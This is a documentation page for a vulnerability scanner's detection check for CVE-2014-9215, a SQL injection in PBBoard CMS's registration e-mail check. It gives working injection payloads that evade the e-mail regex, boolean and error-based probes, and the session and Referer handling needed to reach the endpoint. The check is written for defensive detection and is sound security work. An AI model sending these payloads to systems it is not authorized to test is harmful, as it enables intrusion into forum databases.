PBBoard — 1 vulnerability check

noctis ships 1 vulnerability check for PBBoard, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PBBoard CMS registration e-mail check SQL injection

CVECVE-2014-9215
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, tcp_connect, http_request, match · highest QoD 97
Feedtests/vulnerabilities/pbboard/CVE-2014-9215.yaml

Posts to the PBBoard registration e-mail availability check (index.php?page=register&checkemail=1) under the web root, /PBBoard, /pbb, /forum and /cms. The e-mail value is a SQL condition shaped to pass the forum's e-mail syntax check: '<or>/*@*/N=N#.com, an always-true condition that makes the member lookup match every account, then the same value with an always-false condition (N=N+1). The finding fires when the true condition answers "e-mail is already registered" and the false one "you can register this e-mail": the e-mail is evaluated inside the SQL query. When that differential is not available, a quote followed by a random marker that raises a MySQL syntax error quoting the marker (while the same value without the quote raises none) is reported with lower confidence. All requests are read-only lookups; no account is created and no data is read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/index.php?page=register&index=1&agree=1 HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/index.php?page=register&checkemail=1 with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{dir}}/index.php?page=register&checkemail=1 with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{dir}}/index.php?page=register&checkemail=1 with a crafted body
  9. HTTP(S) request POST {{dir}}/index.php?page=register&checkemail=1 with a crafted body
  10. Parses / computes the next value with a Rhai script
  11. Checks v.tag for hit → finding QoD 97: PBBoard CMS registration e-mail check SQL injection
  12. Checks v.tag for hit → finding QoD 75: PBBoard CMS registration e-mail check SQL injection

References:

Feed source — tests/vulnerabilities/pbboard/CVE-2014-9215.yaml
# PBBoard CMS <= 3.0.1 (build of 13/09/2014 and earlier) 'email' SQL injection in the
# registration e-mail check (CVE-2014-9215).
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_pbboard_cms_email_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.805205, GPL-2.0-only). The NASL GETs <dir>/index.php for
# /, /PBBoard, /pbb, /forum, /cms, requires ">Powered by.*PBBoard<", then POSTs
# <dir>/index.php?page=register&checkemail=1 with email='Sql-Injection-Test@f.com and
# reports a reply holding both "You have an error in your SQL syntax" and the marker.
#
# Real code (advisory EDB-35473 + PBBoard 3.0.2 source, github.com/0xFaisal/pbboard_3.0.2):
#   register.module.php _CheckEmailStart(): trim(email); CheckEmail() else red
#   ("Ajaxwarning2") message; IsMember(where email = <email>) → red "E-mail is registered";
#   else green ("Ajaxwarning1") "You can register this email".
#   records.class.php Select(): a single WHERE value is concatenated between quotes with
#   no escaping (only multi-clause WHERE values get addslashes), and db_mysqli _error()
#   prints the raw MySQL error.
#   Vulnerable CheckEmail(): preg_match('#^[a-z0-9.!\#$%&\'*+-/=?^_`{|}~]+@([0-9.]+|
#   ([^\s\'"<>@,;]+\.+[a-z]{2,6}))$#si') — the local part allows ' , / * but no
#   parentheses or spaces; the domain allows ( ) / * # but no quote, comma or space.
#   The fix (3.0.1 of 28/11/2014, 3.0.2) refuses ' " ( ) / * # , etc. in CheckEmail().
#
# Better than the NASL:
#   - Real exploitation proof (QoD 97): a true/false boolean differential through the
#     member lookup. Payload '<or>/*@*/N=N#.com passes the vulnerable regex (the @ sits
#     inside a SQL comment, # comments out the closing quote): the WHERE matches every
#     member (the admin account always exists) → "E-mail is registered" (red); the same
#     shape with N=N+1 matches none → "You can register" (green). Read-only, no data
#     extracted.
#   - The NASL's syntax-error marker is kept as a QoD 75 fallback, with a random marker
#     and a quote-less control that must not raise a SQL error.
#   - No dependency on the "Powered by PBBoard" footer (removable): the probe gates on
#     the check-email reply itself (Ajaxwarning span or the SQL error).
uid: 414a82cf-d5c4-4d43-9b18-46c86714f081
name: "PBBoard CMS registration e-mail check SQL injection"
description: >-
  Posts to the PBBoard registration e-mail availability check
  (index.php?page=register&checkemail=1) under the web root, /PBBoard, /pbb,
  /forum and /cms. The e-mail value is a SQL condition shaped to pass the
  forum's e-mail syntax check: '<or>/*@*/N=N#.com, an always-true condition
  that makes the member lookup match every account, then the same value with
  an always-false condition (N=N+1). The finding fires when the true condition
  answers "e-mail is already registered" and the false one "you can register
  this e-mail": the e-mail is evaluated inside the SQL query. When that
  differential is not available, a quote followed by a random marker that
  raises a MySQL syntax error quoting the marker (while the same value without
  the quote raises none) is reported with lower confidence. All requests are
  read-only lookups; no account is created and no data is read.
category: sqli
cves: [CVE-2014-9215]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [pbboard, php, sqli, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9215"
  - "https://www.exploit-db.com/exploits/35473"

steps:
  # Shared random values: condition operand and the syntax-error marker.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ n: n, f: n + 1, m: "noctis" + rand_hex(6) }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-tru
    action: set_var
    var_name: tru
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/PBBoard", "/pbb", "/forum", "/cms"]

  - id: init-fal
    action: set_var
    var_name: fal
    var_value: {status: 0, body: ""}

  - id: init-err
    action: set_var
    var_name: err
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-ses
    action: set_var
    var_name: ses
    var_value: {connected: false, banner: ""}

  # Session first: common.php drops a POST whose session holds no "csrf" key (set on
  # any earlier visit), so open a session on the registration page and send back every
  # cookie it set. Raw request: http_request keeps only the last Set-Cookie header and
  # PBBoard sets PowerBB_* cookies after PHPSESSID.
  - id: session
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/index.php?page=register&index=1&agree=1 HTTP/1.0\r\nHost: {{target_host}}:{{port}}\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
    store_as: ses

  - id: cookies
    action: script
    code: |
      let raw = if type_of(ses.banner) == "string" { ses.banner } else { "" };
      let head = raw.split("\r\n\r\n")[0];
      let jar = "";
      for line in head.split("\n") {
        let l = line;
        l.trim();
        if l.to_lower().starts_with("set-cookie:") {
          let kv = l.sub_string(11);
          let semi = kv.index_of(";");
          if semi >= 0 { kv = kv.sub_string(0, semi); }
          kv.trim();
          if kv.contains("=") && !kv.contains("\"") {
            jar = if jar == "" { kv } else { jar + "; " + kv };
          }
        }
      }
      // A harmless placeholder keeps the Cookie header well-formed when none was set.
      if jar == "" { "noctis=1" } else { jar }
    store_as: jar

  # Always-true condition: email = ''or/*@*/N=N#.com'  → every member row matches.
  # Host is sent with the port so it equals the Referer host (common.php compares them).
  - id: probe-true
    action: http_request
    method: POST
    path: "{{dir}}/index.php?page=register&checkemail=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
      X-Requested-With: "XMLHttpRequest"
      Host: "{{target_host}}:{{port}}"
      Cookie: "{{jar}}"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php?page=register&index=1&agree=1"
    body: "email=%27or%2F*%40*%2F{{rv.n}}%3D{{rv.n}}%23.com&ajax=1"
    store_as: tru

  - id: gate
    action: script
    code: |
      let b = if type_of(tru.body) == "string" { tru.body } else { "" };
      tru.status == 200 && (b.contains("class=\"Ajaxwarning") || b.contains("error in your SQL syntax"))
    store_as: is_pbb

  # Always-false condition of the same shape → no member row matches.
  - id: probe-false
    action: http_request
    method: POST
    path: "{{dir}}/index.php?page=register&checkemail=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_pbb"
    headers:
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
      X-Requested-With: "XMLHttpRequest"
      Host: "{{target_host}}:{{port}}"
      Cookie: "{{jar}}"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php?page=register&index=1&agree=1"
    body: "email=%27or%2F*%40*%2F{{rv.n}}%3D{{rv.f}}%23.com&ajax=1"
    store_as: fal

  - id: bool-verdict
    action: script
    code: |
      fn body_of(r) { if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" } }
      let t = body_of(tru);
      let f = body_of(fal);
      // Red span = lookup matched (registered), green span = no member matched.
      let t_red = t.contains("class=\"Ajaxwarning2\"") && !t.contains("class=\"Ajaxwarning1\"");
      let f_green = f.contains("class=\"Ajaxwarning1\"") && !f.contains("class=\"Ajaxwarning2\"");
      #{ ok: is_pbb && t_red && f_green }
    store_as: bv

  # Fallback (reference check): a quote then a random marker breaks the query and the
  # MySQL error quotes the marker; the control without the quote must raise no error.
  - id: probe-error
    action: http_request
    method: POST
    path: "{{dir}}/index.php?page=register&checkemail=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_pbb && !bv.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
      X-Requested-With: "XMLHttpRequest"
      Host: "{{target_host}}:{{port}}"
      Cookie: "{{jar}}"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php?page=register&index=1&agree=1"
    body: "email=%27{{rv.m}}%40f.com&ajax=1"
    store_as: err

  - id: probe-control
    action: http_request
    method: POST
    path: "{{dir}}/index.php?page=register&checkemail=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_pbb && !bv.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
      X-Requested-With: "XMLHttpRequest"
      Host: "{{target_host}}:{{port}}"
      Cookie: "{{jar}}"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php?page=register&index=1&agree=1"
    body: "email={{rv.m}}%40f.com&ajax=1"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      fn body_of(r) { if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" } }
      let e = body_of(err);
      let c = body_of(ctl);
      // The MySQL error quotes the text after our quote: near 'noctisXXXXXX@f.com''.
      let err_hit = e.contains("You have an error in your SQL syntax")
        && e.contains(rv.m + "@f.com");
      let ctl_clean = c.len() > 0 && !c.contains("error in your SQL syntax");
      #{ bool: bv.ok, err: is_pbb && !bv.ok && err_hit && ctl_clean, tag: "hit" }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.tag
    pattern: "hit"
    condition: "v.bool"
    on_match:
      finding:
        cves: [CVE-2014-9215]
        title: "PBBoard CMS registration e-mail check SQL injection"
        description: "The PBBoard registration e-mail check (index.php?page=register&checkemail=1) puts the posted e-mail unescaped into the member lookup query, so an unauthenticated attacker can run arbitrary SQL conditions against the forum database (e.g. extract user names and password hashes)."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/index.php?page=register&checkemail=1 with email='or/*@*/{{rv.n}}={{rv.n}}#.com answered \"e-mail is registered\" (Ajaxwarning2), the same request with the false condition {{rv.n}}={{rv.f}} answered \"you can register\" (Ajaxwarning1): the condition was evaluated in the member lookup query."
        remediation: "Install the PBBoard 3.0.1 build of 28/11/2014 or later (3.0.2+), whose e-mail check refuses quotes and SQL characters. Restrict or disable public registration until then."
      stop: true

  - id: sqli-error
    action: match
    source: v.tag
    pattern: "hit"
    condition: "v.err"
    on_match:
      finding:
        cves: [CVE-2014-9215]
        title: "PBBoard CMS registration e-mail check SQL injection"
        description: "The PBBoard registration e-mail check (index.php?page=register&checkemail=1) puts the posted e-mail unescaped into the member lookup query, so an unauthenticated attacker can run arbitrary SQL conditions against the forum database (e.g. extract user names and password hashes)."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST {{dir}}/index.php?page=register&checkemail=1 with email='{{rv.m}}@f.com returned a MySQL \"You have an error in your SQL syntax\" error quoting {{rv.m}}@f.com; the same e-mail without the quote raised no SQL error."
        remediation: "Install the PBBoard 3.0.1 build of 28/11/2014 or later (3.0.2+), whose e-mail check refuses quotes and SQL characters. Restrict or disable public registration until then."
      stop: true

View these feeds on GitHub